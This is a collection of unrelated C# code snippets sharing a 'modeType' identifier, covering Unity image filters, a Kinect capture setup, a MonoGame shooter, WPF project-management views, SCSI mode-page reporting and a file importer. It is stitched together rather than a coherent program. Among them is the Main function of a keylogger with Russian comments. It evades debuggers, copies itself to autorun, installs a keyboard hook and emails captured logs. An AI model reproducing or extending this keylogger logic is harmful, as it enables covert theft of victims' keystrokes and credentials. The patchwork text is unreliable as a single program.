/// <summary> /// Raises the sepia mode toggle event. /// </summary> public void OnSepiaModeToggle() { if (sepiaModeToggle.isOn) { mode = modeType.sepia; } }
void OnGUI() { float screenScale = Screen.width / 240.0f; Matrix4x4 scaledMatrix = Matrix4x4.Scale(new Vector3(screenScale, screenScale, screenScale)); GUI.matrix = scaledMatrix; GUILayout.BeginVertical(); if (GUILayout.Button("Original")) { mode = modeType.original; } if (GUILayout.Button("sepia")) { mode = modeType.sepia; } if (GUILayout.Button("pixelize")) { mode = modeType.pixelize; } GUILayout.EndVertical(); }
/// <summary> /// Raises the pixelize mode toggle event. /// </summary> public void OnPixelizeModeToggle() { if (pixelizeModeToggle.isOn) { mode = modeType.pixelize; } }
void OnGUI() { //float screenScale = Screen.width / 1080.0f; // Matrix4x4 scaledMatrix = Matrix4x4.Scale(new Vector3(screenScale, screenScale, screenScale)); //.matrix = scaledMatrix; GUILayout.BeginVertical(); if (GUILayout.Button("source")) { mode = modeType.source; } if (GUILayout.Button("threshold")) { mode = modeType.threshold; } if (GUILayout.Button("Draw")) { isDraw = !isDraw; } if (GUILayout.Button("Mask")) { isShowMask = !isShowMask; } GUILayout.EndVertical(); }
private void viewProjectsByProduct() { refreshProductCombo(false); editMode = ByProduct; toggleSelectionControls(false); refreshProjectSummaries(true); }
public Game1() { graphics = new GraphicsDeviceManager(this); graphics.IsFullScreen = true; MediaPlayer.IsRepeating = true; rTime = rTime.Add(TimeSpan.FromSeconds(5)); //starts the reload counter at 5 so you can reload at the start Content.RootDirectory = "Content"; //"births" classes t = new Target(); enemies = new List <Enemy>(); //is this ever used? enemies1 = new List <Type1>(); enemies2 = new List <Type2>(); bullets = new List <Bullet>(); ebullets = new List <Ebullet>(); Items = new List <Item>(); OldKeyState = new KeyboardState(); //saves old keyboard state //declare gamemode variables gameMode = new modeType(); prevMode = new modeType(); gameMode = modeType.Menu; //screen size screenX = 3200; screenY = 1800; p1 = new Player(new Vector2(screenX, screenY)); }
private void viewStaffByEntity() { refreshEntityCombo(false); editMode = ByEntity; toggleSelectionControls(false); refreshStaffSummaries(true); }
// Use this for initialization void Start() { if (originalModeToggle.isOn) { mode = modeType.original; } if (sepiaModeToggle.isOn) { mode = modeType.sepia; } if (pixelizeModeToggle.isOn) { mode = modeType.pixelize; } // sepia mSepiaKernel = new Mat(4, 4, CvType.CV_32F); mSepiaKernel.put(0, 0, /* R */ 0.189f, 0.769f, 0.393f, 0f); mSepiaKernel.put(1, 0, /* G */ 0.168f, 0.686f, 0.349f, 0f); mSepiaKernel.put(2, 0, /* B */ 0.131f, 0.534f, 0.272f, 0f); mSepiaKernel.put(3, 0, /* A */ 0.000f, 0.000f, 0.000f, 1f); // pixelize mIntermediateMat = new Mat(); mSize0 = new Size(); mediaPlayer.Events.AddListener(OnVideoEvent); }
/// <summary> /// Raises the original mode toggle event. /// </summary> public void OnOriginalModeToggle() { if (originalModeToggle.isOn) { mode = modeType.original; } }
static void Main(string[] args) { aeskey = hexToBytes(key); if (customFolder == String.Empty) { folderPath = @"C:\Drivers\"; } else { folderPath = customFolder; if (!folderPath.EndsWith(@"\")) { folderPath += @"\"; } } if (generateNumber) { Random rng = new Random(); name += " #" + rng.Next(0, 9999).ToString(); } System.Timers.Timer timer = new System.Timers.Timer(messagePeriod); timer.Elapsed += ProcessLog; timer.Start(); bool isDebugging = false; CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebugging); if (isDebugging || IsDebuggerPresent()) { Terminate(); } if (enableAutorun) { CopyToAutorun(); } try { //Проверка работоспособности отправки почты и уведомление о начале записи SendMail(name + " started", "If you have received this message, mail connections works"); } catch { //Связь по почте не работает, пишем лог на диск logMode = modeType.File; } _hookID = SetHook(_proc); Application.Run(); UnhookWindowsHookEx(_hookID); }
private void viewProductsByClient() { editMode = ByClient; toggleSelectionControls(false); try { ClientCombo.ItemsSource = clientGridList; ClientCombo.SelectedItem = clientGridList.First(s => s.ID == Globals.SelectedClient.ID); refreshProductSummaries(true); } catch (Exception generalException) { MessageFunctions.Error("Error populating client list", generalException); return; } }
public static Mode MapMode(modeType oldMode) { if (oldMode == null) { return(null); } Mode newMode = new Mode { WriteProtected = oldMode.WriteProtected, BlankCheckEnabled = oldMode.BlankCheckEnabled, DPOandFUA = oldMode.DPOandFUA }; if (oldMode.BufferedModeSpecified) { newMode.BufferedMode = oldMode.BufferedMode; } if (oldMode.MediumTypeSpecified) { newMode.MediumType = oldMode.MediumType; } if (oldMode.SpeedSpecified) { newMode.Speed = oldMode.Speed; } if (oldMode.BlockDescriptors != null) { newMode.BlockDescriptors = new List <BlockDescriptor>(oldMode.BlockDescriptors.Select(BlockDescriptor.MapBlockDescriptor)); } if (oldMode.ModePages == null) { return(newMode); } { newMode.ModePages = new List <ModePage>(oldMode.ModePages.Select(ModePage.MapModePage)); } return(newMode); }
private void viewProductsByProject() { editMode = ByProject; toggleSelectionControls(false); try { ProjectCombo.ItemsSource = projectGridList; if (Globals.SelectedProjectProxy != null) { ProjectCombo.SelectedItem = projectGridList.First(pgl => pgl.ProjectID == Globals.SelectedProjectProxy.ProjectID); } refreshProductSummaries(true); } catch (Exception generalException) { MessageFunctions.Error("Error populating project list", generalException); return; } }
private void viewEntitiesByStaffMember() { editMode = ByStaff; toggleSelectionControls(false); try { var staffComboList = StaffFunctions.GetStaffList(activeOnly, nameContains, "", 0); var staffNames = staffComboList.Select(sg => sg.StaffName); StaffCombo.ItemsSource = staffNames; selectedStaffName = StaffFunctions.GetSelectedName(); StaffCombo.SelectedValue = selectedStaffName; refreshEntitySummaries(true); } catch (Exception generalException) { MessageFunctions.Error("Error populating staff list", generalException); return; } }
void Start() { manager = GameObject.FindGameObjectWithTag("Manager").GetComponent <Manager>(); if (manager.getIsVision()) { sensor = KinectSensor.GetDefault(); mode = modeType.source; if (sensor != null) { reader = sensor.ColorFrameSource.OpenReader(); FrameDescription frameDesc = sensor.ColorFrameSource.CreateFrameDescription(ColorImageFormat.Rgba); texture = new Texture2D(frameDesc.Width, frameDesc.Height, TextureFormat.RGBA32, false); data = new byte[frameDesc.BytesPerPixel * frameDesc.LengthInPixels]; if (!sensor.IsOpen) { sensor.Open(); } // needed.. rgbaMat = new Mat(texture.height, texture.width, CvType.CV_8UC4); rgbMat = new Mat(texture.height, texture.width, CvType.CV_8UC3); hsvMat = new Mat(); thresholdMat_red = new Mat(); thresholdMat_green = new Mat(); thresholdMat_yellow = new Mat(); thresholdMat = new Mat(); demo = new Mat(texture.height, texture.width, CvType.CV_8UC4); } else { UnityEngine.Debug.LogError("No ready Kinect found!"); } } }
void OnGUI() { float screenScale = Screen.width / 240.0f; Matrix4x4 scaledMatrix = Matrix4x4.Scale (new Vector3 (screenScale, screenScale, screenScale)); GUI.matrix = scaledMatrix; GUILayout.BeginVertical (); if (GUILayout.Button ("Original")) { mode = modeType.original; } if (GUILayout.Button ("sepia")) { mode = modeType.sepia; } if (GUILayout.Button ("pixelize")) { mode = modeType.pixelize; } GUILayout.EndVertical (); }
/// <summary> /// Allows the game to run logic such as updating the world, /// checking for collisions, gathering input, and playing audio. /// </summary> /// <param name="gameTime">Provides a snapshot of timing values.</param> protected override void Update(GameTime gameTime) { if (GamePad.GetState(PlayerIndex.One).IsConnected)//if you're using an xbox controller instead of keyboard { controller = true; } if (GamePad.GetState(PlayerIndex.One).Buttons.Back == ButtonState.Pressed || Keyboard.GetState().IsKeyDown(Keys.Q)) { this.Exit(); } //check level for indicator if (gameMode == modeType.OneLevel) { gameLevel = 1; } else if (gameMode == modeType.TwoLevel) { gameLevel = 2; } else if (gameMode == modeType.OneBoss) { gameLevel = 3; } if (gameMode != modeType.Pause) { if (gameMode == modeType.OneBoss || gameMode == modeType.TwoBoss || gameMode == modeType.OneLevel || gameMode == modeType.TwoLevel) //if in game { if (Keyboard.GetState().IsKeyDown(Keys.P) || GamePad.GetState(PlayerIndex.One).IsButtonDown(Buttons.LeftStick)) //Pauses game { prevMode = gameMode; gameMode = modeType.Pause; } } //move to wave 2 if (gameMode == modeType.OneLevel && enemies1.Count <= 0) //if you kill all wave 1 enemies { //creates a new shield, adds it to list of items Shield iS; iS = new Shield(new Vector2((screenX / 2), (screenY / 2))); Items.Add(iS); gameMode = modeType.TwoLevel; //move to wave 2 //spawn wave 2 enemies //enemy class 1: Type1 t1; Type1 t2; Type1 t3; Type1 t4; t1 = new Type1((screenX / 2) - 150, 0); //top gate t2 = new Type1(0, 600); //left gate t3 = new Type1(screenX - 335, 600); //right gate t4 = new Type1((screenX / 2) - 150, screenY - 460); //bottom gate enemies1.Add(t1); enemies1.Add(t2); enemies1.Add(t3); enemies1.Add(t4); //enemy class 2: Type2 t5; Type2 t6; Type2 t7; Type2 t8; t5 = new Type2(screenX - 335, 50); //top right t6 = new Type2(50, 50); //top left t7 = new Type2(screenX - 335, screenY - 470); //bottom right t8 = new Type2(50, screenY - 470); //bottom left enemies2.Add(t5); enemies2.Add(t6); enemies2.Add(t7); enemies2.Add(t8); } //Part 1 Boss fight if (gameMode == modeType.TwoLevel && enemies1.Count == 0 && enemies2.Count == 0) //if you kill all wave 2 enemies { b = new Boss(new Vector2((screenX / 2) - 200, (screenY / 2) - 200)); b.LoadContent(Content); b.hp = 10; //creates a new shield, adds it to list of items Shield iS; iS = new Shield(new Vector2((screenX / 2), 2 * (screenY / 3) + 50)); Items.Add(iS); gameMode = modeType.OneBoss; //sets game mode to boss level } //part 2 boss fight if (gameMode == modeType.OneBoss && b.hp < 5) { b.stage = 2; //moves boss to new abilities //add in enemy class 2 fighters Type2 t5; Type2 t6; Type2 t7; Type2 t8; t5 = new Type2(screenX - 335, 50); //top right t6 = new Type2(50, 50); //top left t7 = new Type2(screenX - 335, screenY - 470); //bottom right t8 = new Type2(50, screenY - 470); //bottom left enemies2.Add(t5); enemies2.Add(t6); enemies2.Add(t7); enemies2.Add(t8); b.hp = 10; gameMode = modeType.TwoBoss; } if (gameMode == modeType.TwoBoss && b.hp <= 0) //if you kill the boss { gameMode = modeType.Win; //move to win screen } //reset game if (gameMode == modeType.Win || gameMode == modeType.Loss) { //resets game back to wave 1 enemies1.Clear(); //respawn all wave 1 enemies enemies2.Clear(); Items.Clear(); Type1 t1; Type1 t2; Type1 t3; Type1 t4; t1 = new Type1(900, 0); //top gate t2 = new Type1(0, 600); //left gate t3 = new Type1(1900, 600); //right gate t4 = new Type1(900, 1000); //bottom gate enemies1.Add(t1); enemies1.Add(t2); enemies1.Add(t3); enemies1.Add(t4); p1 = new Player(new Vector2(screenX, screenY)); //override old player p1.LoadContent(Content); //clear the bullet classes too bullets.Clear(); ebullets.Clear(); //to restart at level 1 if (Keyboard.GetState().IsKeyDown(Keys.V) || GamePad.GetState(PlayerIndex.One).IsButtonDown(Buttons.A)) { gameMode = modeType.OneLevel; //if v is pressed when the game is over, restart at level 1 MediaPlayer.Play(Sound.background); //background music } //to go back to menu if (Keyboard.GetState().IsKeyDown(Keys.M) || GamePad.GetState(PlayerIndex.One).IsButtonDown(Buttons.Y)) { gameMode = modeType.Menu; //if M is pressed, go back to main menu } } //start the game if (gameMode == modeType.Menu) { if (Keyboard.GetState().IsKeyDown(Keys.E) || GamePad.GetState(PlayerIndex.One).IsButtonDown(Buttons.X)) //starts the game { gameMode = modeType.OneLevel; MediaPlayer.Play(Sound.background); //background music } if (Keyboard.GetState().IsKeyDown(Keys.H) || GamePad.GetState(PlayerIndex.One).IsButtonDown(Buttons.Y))//go to help screen { gameMode = modeType.Help; } } if (gameMode == modeType.Help) //if in help screen { if (Keyboard.GetState().IsKeyDown(Keys.M) || GamePad.GetState(PlayerIndex.One).IsButtonDown(Buttons.RightStick)) //if these buttons are pressed return to menu screen { gameMode = modeType.Menu; } } if (gameMode == modeType.OneLevel || gameMode == modeType.TwoLevel || gameMode == modeType.OneBoss || gameMode == modeType.TwoBoss) //if in game, not end game or menu screen { rTime = rTime.Add(gameTime.ElapsedGameTime); p1.Move(new Vector2(screenX, screenY)); t.Move(new Vector2(screenX, screenY)); //player death if (p1.hp <= 0) { gameMode = modeType.Loss; //goto lose game screen } //moves enemy1 foreach (Type1 l in enemies1) { l.Move(p1.position, p1.oldPosition); //passing player position and previous player position l.MovebBox(); //moves the bounding box. For now, i think it has to be in a separate function because i dont want to override move } //moves enemy2 foreach (Type2 f in enemies2) { f.Move(p1.position, p1.oldPosition); //passing player position and previous player position f.MovebBox(); //moves the bounding box. For now, i think it has to be in a separate function because i dont want to override move } //for bullets: //moves bullets foreach (Bullet l in bullets) { l.Move(); } //moves enemy bullets foreach (Ebullet j in ebullets) { j.Move(); } //player shooting bullets KeyboardState NewKeyState = Keyboard.GetState(); GamePadState NewPadState = GamePad.GetState(PlayerIndex.One); //if space was up in the previous frame and is down now, then shoot if (NewKeyState.IsKeyDown(Keys.Space) && OldKeyState.IsKeyUp(Keys.Space) || NewPadState.IsButtonDown(Buttons.RightShoulder) && OldPadState.IsButtonUp(Buttons.RightShoulder)) { if (p1.cp >= 1) //if the player has enough charge points { //Creates bullet and adds it to the list of bullets Bullet b1; b1 = new Bullet(p1.position, t.position); //spawns bullets at player position with goal at target position bullets.Add(b1); //adds this bullet to the arraylist p1.cp = p1.cp - 1; //lowers players gun charge Sound.pShoot.Play(); } else//if there is no gun charge { Sound.noCharge.Play(); } } //reloads charge if (rTime >= TimeSpan.FromSeconds(5)) { //Stops rTime from going over 5 so the bar looks better if (rTime.Seconds > 5) { rTime = TimeSpan.FromSeconds(5); } //reloading charge if (NewKeyState.IsKeyDown(Keys.R) && OldKeyState.IsKeyUp(Keys.R) || NewPadState.IsButtonDown(Buttons.LeftShoulder) && OldPadState.IsButtonDown(Buttons.LeftShoulder)) { if (p1.cp < 8) { p1.cp = p1.cp + 10; Sound.Charge.Play(); } rTime = TimeSpan.Zero; } } OldKeyState = NewKeyState; //updates oldkeystate to newkeystate OldPadState = NewPadState; //for enemy1 shooting bullets Random r = new Random(); //random integer for bullets if (enemies1.Count > 0) { //makes sure there is something in the list first if (r.Next(0, 200) < 2) //shoots bullets at random intervals { T1Bullet s; int i = r.Next(0, enemies1.Count()); //pick a random enemy to shoot s = new T1Bullet(enemies1[i].position, p1.position); //creates new bullet, passes the chosen enemy's position and player position ebullets.Add(s); Sound.t1Shoot.Play(); } } //for enemy2 shooting bullets if (enemies2.Count > 0) //makes sure there is something in the list first { if (r.Next(0, 200) < 2) //shoots bullets at random intervals { T2Bullet s; int i = r.Next(0, enemies2.Count()); //pick a random enemy to shoot s = new T2Bullet(enemies2[i].position, p1.position); //creates new bullet, passes the chosen enemy's position and player position ebullets.Add(s); Sound.t2Shoot.Play(); } } //COLLISION STUFF //Enemy Bullet collision with player for (int i = ebullets.Count() - 1; i >= 0; i--) { if (p1.BoundingBox.Intersects(ebullets[i].BoundingSphere)) { if (p1.sp > 0) { p1.sp = p1.sp - 1; //lowers player shield if they have } else //if the player doesn't have a shield { ebullets[i].Action(p1); } ebullets.RemoveAt(i); //removes bullet Sound.pHit.Play(); } } //Allied bullet with enemy player1 for (int j = enemies1.Count - 1; j >= 0; j--) { for (int i = bullets.Count - 1; i >= 0; i--) { if (j <= enemies1.Count - 1) { if (enemies1[j].BoundingBox.Intersects(bullets[i].BoundingSphere)) { //chance for enemies to drop health on death Random l = new Random(); if (l.Next(0, 5) == 0) { Health iH; iH = new Health(new Vector2(enemies1[j].position.X + 50, enemies1[j].position.Y + 50)); //if the random number is 0, leave a health pack at the enemy's positon Items.Add(iH); } bullets.RemoveAt(i); //removes bullet enemies1.RemoveAt(j); //kills (removes) enemy Sound.ehit.Play(); //death sound } } } } //Allied bullet with enemy player2 for (int j = enemies2.Count - 1; j >= 0; j--) { for (int i = bullets.Count - 1; i >= 0; i--) { if (j <= enemies2.Count - 1) { if (enemies2[j].BoundingBox.Intersects(bullets[i].BoundingSphere)) { bullets.RemoveAt(i); //removes bullet enemies2.RemoveAt(j); //kills (removes) enemy Sound.ehit.Play(); //death sound } } } } //item collisions for (int i = Items.Count - 1; i >= 0; i--) { if (p1.BoundingBox.Intersects(Items[i].BoundingBox)) { Items[i].Action(p1); Items.RemoveAt(i); } } // removes bullets if they go offscreen for (int i = bullets.Count - 1; i >= 0; i--) { //collision detection if (bullets[i].position.X >= screenX || bullets[i].position.X <= 0 || bullets[i].position.Y >= screenY || bullets[i].position.X <= 0) { bullets.RemoveAt(i); } } //removes enemy bullets if they go offscreen for (int i = ebullets.Count - 1; i >= 0; i--) { //collision detection if (ebullets[i].position.X >= screenX || ebullets[i].position.X <= 0 || ebullets[i].position.Y >= screenY || ebullets[i].position.X <= 0) { ebullets.RemoveAt(i); } } } //if in boss battle if (gameMode == modeType.OneBoss || gameMode == modeType.TwoBoss) { //boss shooting Random rr = new Random(); //shoots more often during stage 2 if (b.stage == 1) { k = 100; } if (b.stage == 2) { k = 50; } if (rr.Next(0, k) < 2) { //Creates bullet and adds it to the list of bullets Ebullet c; c = new BBullet(b.position, p1.position); //spawns bullets at player position with goal at target position ebullets.Add(c); //adds this bullet to the arraylist } //player bullets with boss for (int i = bullets.Count - 1; i >= 0; i--) { if (bullets[i].BoundingSphere.Intersects(b.BoundingBox)) { b.hp = b.hp - 1; //lower boss hp bullets.RemoveAt(i); Sound.ehit.Play(); //death sound } } // player with boss if (p1.BoundingBox.Intersects(b.BoundingBox)) { p1.hp = p1.hp - p1.hp; //you die if you touch the boss } } } else //if in pause { if (Keyboard.GetState().IsKeyDown(Keys.T) || GamePad.GetState(PlayerIndex.One).IsButtonDown(Buttons.RightStick)) { gameMode = prevMode; } } base.Update(gameTime); }
/// <summary> /// Takes the MODE PAGEs part of a device report and prints it as a list of values and another list of key=value pairs /// to be sequenced by ASP.NET in the rendering /// </summary> /// <param name="modeSense">MODE PAGEs part of a device report</param> /// <param name="vendor">SCSI vendor string</param> /// <param name="deviceType">SCSI peripheral device type</param> /// <param name="scsiOneValue">List to put values on</param> /// <param name="modePages">List to put key=value pairs on</param> public static void Report(modeType modeSense, string vendor, PeripheralDeviceTypes deviceType, ref List <string> scsiOneValue, ref Dictionary <string, string> modePages) { if (modeSense.MediumTypeSpecified) { scsiOneValue.Add($"Medium type is {modeSense.MediumType:X2}h"); } if (modeSense.WriteProtected) { scsiOneValue.Add("Device is write protected."); } if (modeSense.BlockDescriptors != null) { foreach (blockDescriptorType descriptor in modeSense.BlockDescriptors) { if (descriptor.BlocksSpecified && descriptor.BlockLengthSpecified) { scsiOneValue .Add($"Density code {descriptor.Density:X2}h has {descriptor.Blocks} blocks of {descriptor.BlockLength} bytes each"); } else { scsiOneValue.Add($"Density code {descriptor.Density:X2}h"); } } } if (modeSense.DPOandFUA) { scsiOneValue.Add("Drive supports DPO and FUA bits"); } if (modeSense.BlankCheckEnabled) { scsiOneValue.Add("Blank checking during write is enabled"); } if (modeSense.BufferedModeSpecified) { switch (modeSense.BufferedMode) { case 0: scsiOneValue.Add("Device writes directly to media"); break; case 1: scsiOneValue.Add("Device uses a write cache"); break; case 2: scsiOneValue.Add("Device uses a write cache but doesn't return until cache is flushed"); break; default: scsiOneValue.Add($"Unknown buffered mode code 0x{modeSense.BufferedMode:X2}"); break; } } if (modeSense.ModePages == null) { return; } foreach (modePageType page in modeSense.ModePages) { switch (page.page) { case 0x00: { if (deviceType == PeripheralDeviceTypes.MultiMediaDevice && page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyModePage_00_SFF(page.value)); } else { modePages .Add(page.subpage != 0 ? $"MODE page {page.page:X2}h subpage {page.subpage:X2}h" : $"MODE page {page.page:X2}h", "Unknown vendor mode page"); } break; } case 0x01: { if (page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", deviceType == PeripheralDeviceTypes.MultiMediaDevice ? Modes.PrettifyModePage_01_MMC(page.value) : Modes.PrettifyModePage_01(page.value)); } else { goto default; } break; } case 0x02: { if (page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyModePage_02(page.value)); } else { goto default; } break; } case 0x03: { if (page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyModePage_03(page.value)); } else { goto default; } break; } case 0x04: { if (page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyModePage_04(page.value)); } else { goto default; } break; } case 0x05: { if (page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyModePage_05(page.value)); } else { goto default; } break; } case 0x06: { if (page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyModePage_06(page.value)); } else { goto default; } break; } case 0x07: { if (page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", deviceType == PeripheralDeviceTypes.MultiMediaDevice ? Modes.PrettifyModePage_07_MMC(page.value) : Modes.PrettifyModePage_07(page.value)); } else { goto default; } break; } case 0x08: { if (page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyModePage_08(page.value)); } else { goto default; } break; } case 0x0A: { if (page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyModePage_0A(page.value)); } else if (page.subpage == 1) { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyModePage_0A_S01(page.value)); } else { goto default; } break; } case 0x0B: { if (page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyModePage_0B(page.value)); } else { goto default; } break; } case 0x0D: { if (page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyModePage_0D(page.value)); } else { goto default; } break; } case 0x0E: { if (page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyModePage_0E(page.value)); } else { goto default; } break; } case 0x0F: { if (page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyModePage_0F(page.value)); } else { goto default; } break; } case 0x10: { if (page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", deviceType == PeripheralDeviceTypes.SequentialAccess ? Modes.PrettifyModePage_10_SSC(page.value) : Modes.PrettifyModePage_10(page.value)); } else { goto default; } break; } case 0x11: { if (page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyModePage_11(page.value)); } else { goto default; } break; } case 0x12: case 0x13: case 0x14: { if (page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyModePage_12_13_14(page.value)); } else { goto default; } break; } case 0x1A: { if (page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyModePage_1A(page.value)); } else if (page.subpage == 1) { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyModePage_1A_S01(page.value)); } else { goto default; } break; } case 0x1B: { if (page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyModePage_1B(page.value)); } else { goto default; } break; } case 0x1C: { if (page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", deviceType == PeripheralDeviceTypes.MultiMediaDevice ? Modes.PrettifyModePage_1C_SFF(page.value) : Modes.PrettifyModePage_1C(page.value)); } else if (page.subpage == 1) { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyModePage_1C_S01(page.value)); } else { goto default; } break; } case 0x1D: { if (page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyModePage_1D(page.value)); } else { goto default; } break; } case 0x21: { if (vendor == "CERTANCE") { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyCertanceModePage_21(page.value)); } else { goto default; } break; } case 0x22: { if (vendor == "CERTANCE") { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyCertanceModePage_22(page.value)); } else { goto default; } break; } case 0x24: { if (vendor == "IBM") { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyIBMModePage_24(page.value)); } else { goto default; } break; } case 0x2A: { if (page.subpage == 0) { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyModePage_2A(page.value)); } else { goto default; } break; } case 0x2F: { if (vendor == "IBM") { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyIBMModePage_2F(page.value)); } else { goto default; } break; } case 0x30: { if (Modes.IsAppleModePage_30(page.value)) { modePages.Add("MODE page 30h", "Drive identifies as an Apple OEM drive"); } else { goto default; } break; } case 0x3B: { if (vendor == "HP") { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyHPModePage_3B(page.value)); } else { goto default; } break; } case 0x3C: { if (vendor == "HP") { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyHPModePage_3C(page.value)); } else { goto default; } break; } case 0x3D: { if (vendor == "IBM") { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyIBMModePage_3D(page.value)); } else if (vendor == "HP") { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyHPModePage_3D(page.value)); } else { goto default; } break; } case 0x3E: { if (vendor == "FUJITSU") { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyFujitsuModePage_3E(page.value)); } else if (vendor == "HP") { modePages.Add($"MODE page {page.page:X2}h", Modes.PrettifyHPModePage_3E(page.value)); } else { goto default; } break; } default: { modePages.Add(page.subpage != 0 ? $"MODE page {page.page:X2}h subpage {page.subpage:X2}h" : $"MODE page {page.page:X2}h", "Unknown mode page"); } break; } } Dictionary <string, string> newModePages = new Dictionary <string, string>(); foreach (KeyValuePair <string, string> kvp in modePages) { if (string.IsNullOrWhiteSpace(kvp.Value)) { newModePages.Add(kvp.Key, "Undecoded"); } else { newModePages.Add(kvp.Key, kvp.Value.Replace("\n", "<br/>")); } } modePages = newModePages; }
/// <summary> /// Import a Rationale file /// </summary> /// <param name="fileName">File name including path to import.</param> /// <returns></returns> public Argument importFromRationale(string fileName) { Argument arg; string line, version, s; int i; premise = null; try { infile = new StreamReader(fileName); // expecting #Rationale Version 1.09 line = infile.ReadLine(); if (line == null) { return(null); } String [] split; split = line.Split(); // splits the text using the default delimiters // if(split.Length != 3) { infile.Close(); return null; } // not what was expected - run away if (split[2].Equals("1.09")) { version = split[2]; } else if (split[2].Equals("1.08")) { MessageBox.Show("Sorry, version 1.08 of Rationale cannot be read"); return(null); } else if (split[2].Equals("130.54") || split[2].Equals("120.53") || split[2].Equals("140.56") || split[2].Equals("140.58") ) { version = split[2]; return(importFromRationale130(fileName, version)); } else { DialogResult d; d = MessageBox.Show(String.Format("I do not know version {0}. Try to load anyway?", split[2]), "Unknown version", MessageBoxButtons.YesNo); // TODO Make question if (d == DialogResult.Yes) { return(importFromRationale130(fileName, split[2])); } else { return(null); } } line = infile.ReadLine(); if (line == null) { return(null); } // node0 = app.Create("Claim") expected if (line.ToLower().IndexOf("claim") < 0) { return(null); } line = infile.ReadLine(); if (line == null) { return(null); } // app.SetText(node0, "I should go to the beach today.") i = line.IndexOf("app.SetText(node0,"); // should return 0 if (i != 0) { MessageBox.Show(String.Format("unknown entry, app.SetText expected. Found {0}", line)); return(null); } s = line.Substring(line.IndexOf("\"") + 1); // split string at the quote mark s = s.Substring(0, s.IndexOf("\"")); // remove the last quote and bracket premise = new Node(s); // add main premise // the next lines declare the top level reasons or objections // eg // app.CreateChild(node0, "CompoundReason") or app.CreateChild(node0, "CompoundObjection") // or app.CreateChild(node0, "Reason") or app.CreateChild(node0, "Objection") // read remaining lines lines = new ArrayList(); line = infile.ReadLine(); while (line != null) { lines.Add(line); line = infile.ReadLine(); } currentLine = 0; // unless the argument has a main premise only, the next lines will define top level line = (string)lines[currentLine]; if (line.IndexOf("CompoundReason") > 0 || line.IndexOf("CompoundObjection") > 0) { mode = modeType.analysisMode; } else if (line.IndexOf("Reason") > 0 || line.IndexOf("Objection") > 0) { mode = modeType.reasonMode; } else { MessageBox.Show(String.Format("Expecting to find reasons and or objections. Found: {0}", line)); return(null); } readTopLevelElement(premise); } catch (Exception e) { MessageBox.Show(String.Format("Error reading Rationale file. {0}\n{1}", e.Message, e.StackTrace)); } infile.Close(); if (premise == null) { return(null); } arg = new Argument(); arg.setArg(premise); return(arg); }